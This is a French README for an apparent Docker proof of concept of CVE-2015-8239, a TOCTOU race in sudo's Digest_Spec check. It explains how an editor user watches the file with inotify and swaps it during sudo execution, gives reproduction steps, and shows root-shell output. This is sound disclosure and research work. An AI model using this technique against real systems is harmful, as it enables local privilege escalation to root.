
Preuve de concept basée sur Docker démontrant une exploitation de condition de concurrence TOCTOU contre la fonctionnalité Digest_Spec de sudo (CVE-2015-8239) à l'aide d'inotify pour des attaques de remplacement de fichiers inter-utilisateurs.
Digest_Spec TOCTOU POCAlyssa Milburn (https://twitter.com/noopwafel) a découvert un bug de condition de compétition TOCTOU dans sudo lorsque le paramètre Digest_Spec est utilisé. Le paramètre Digest_Spec peut être utilisé pour permettre à un utilisateur d'exécuter sudo sur un binaire si et seulement si son hachage correspond à une valeur prescrite. Voir man sudoers et recherchez Digest_Spec pour plus d'informations sur cette fonctionnalité, et voir http://noopwafel.net/notes/2015/sudo-digest-race-condition.html pour plus d'informations sur le bug découvert par Alyssa. Le problème a été identifié sous CVE-2015-8239.
Le problème a été atténué en ajoutant de la documentation à man sudoers avertissant du potentiel d'une condition de compétition, et en ajoutant un peu de magie fexecve() à sudo pour tenter d'empêcher certains types de modifications de fichiers d'être efficaces.
Intéressant, cve-assign a dit ce qui suit à https://seclists.org/oss-sec/2015/q4/256 :
As far as we know, the Digest_Spec feature can be useful if the user
invoking sudo doesn't have write access to the program file, but a
second (and potentially untrusted) user does have write access to the
program file. In the envisioned scenario, the second user is not
allowed to use sudo, the second user has no way to predict when anyone
else may use sudo, and the second user cannot use their write access
often. Thus, if the second user attempts a file-replacement attack,
the attack will almost certainly occur at an ineffective instant of
time, and the Digest_Spec feature will successfully prevent the
attacker's desired outcome.
Ce POC montre que cette affirmation n'est pas nécessairement vraie, à condition que l'utilisateur « writer » puisse exécuter du code persistant sur le système. L'utilisateur « writer » peut utiliser inotify pour détecter quand l'utilisateur « executor » exécute le fichier avec sudo et peut tenter une attaque de remplacement de fichier à ce moment-là.
Ce projet crée une image Docker qui :
/opt/sudoable qui est accessible en écriture par l'utilisateur editor, et peut être exécuté via sudo par l'utilisateur executor si et seulement si son hachage SHA256 correspond à une valeur particulière/opt/hello (le fichier « good » dont le hachage SHA256 est intégré dans sudoers) et d'un fichier à /opt/goodbye (un fichier « evil »)/opt comme accessible en écriture uniquement par l'utilisateur root (ainsi l'utilisateur editor peut remplacer le contenu de /opt/sudoable mais ne peut pas effectuer une opération d'échange de fichier au niveau du système de fichiers)/home/editor/exploit/exploit.pyLorsque /home/editor/exploit/exploit.py est exécuté par l'utilisateur editor, inotify est utilisé pour surveiller les événements du système de fichiers. Lorsque le fichier /opt/sudoable est accédé, il est remplacé par /opt/goodbye. Après que le fichier est ensuite fermé, il est remplacé par /opt/hello pour laisser les choses dans un état « normal ».
En supposant que cette condition de compétition réussisse lorsque l'utilisateur executor exécute sudo /opt/sudoable (ce qui est le cas la plupart du temps sur ma machine), l'utilisateur editor peut amener l'utilisateur executor à exécuter un binaire malveillant en tant que root indépendamment du hachage SHA256 spécifié comme valeur Digest_Spec dans sudoers.
Exécutez make all
./instantiate.shtmux new-session puis divisez le volet (Ctrl+b puis " ; utilisez Ctrl+b puis Haut/Bas pour changer de volet)sudo -u executor sudo /opt/sudoable et observez la sortie Hello uid=0sudo -u editor cp /opt/goodbye /opt/sudoablesudo -u executor sudo /opt/sudoable et observez qu'on vous demande un mot de passe (c'est-à-dire que l'opération sudo a échoué en raison d'une non-concordance du condensé)sudo -u editor /home/editor/exploit/exploit.pysudo -u executor sudo /opt/sudoable plusieurs fois et observez la sortie occasionnelle de Volet supérieur :
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Hello uid=0
Volet inférieur :
root@c600efec2da8:/# sudo -u editor cp /opt/goodbye /opt/sudoable
Volet supérieur :
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for executor:
Volet inférieur :
root@c600efec2da8:/# sudo -u editor /home/editor/exploit/exploit.py
Volet supérieur :
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for executor:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
sudo: unable to execute /opt/sudoable: Text file busy
Dans quels cas la mitigation fexecve() est-elle réellement efficace ? Si un utilisateur a un accès en écriture au fichier sudoable mais pas au répertoire dans lequel il se trouve, il peut modifier le fichier ouvert par sudo. Si l'utilisateur a un accès en écriture au répertoire mais pas au fichier, il peut déplacer le fichier hors du chemin et le recréer de manière à pouvoir le modifier, et nous revenons à la case départ.
Merci à Luke (https://twitter.com/lukejahnke) de m'avoir parlé du paramètre Digest_Spec, d'avoir échangé des idées et d'avoir pensé à utiliser inotify pour un POC inter-utilisateurs propre.
Goodbye uid=0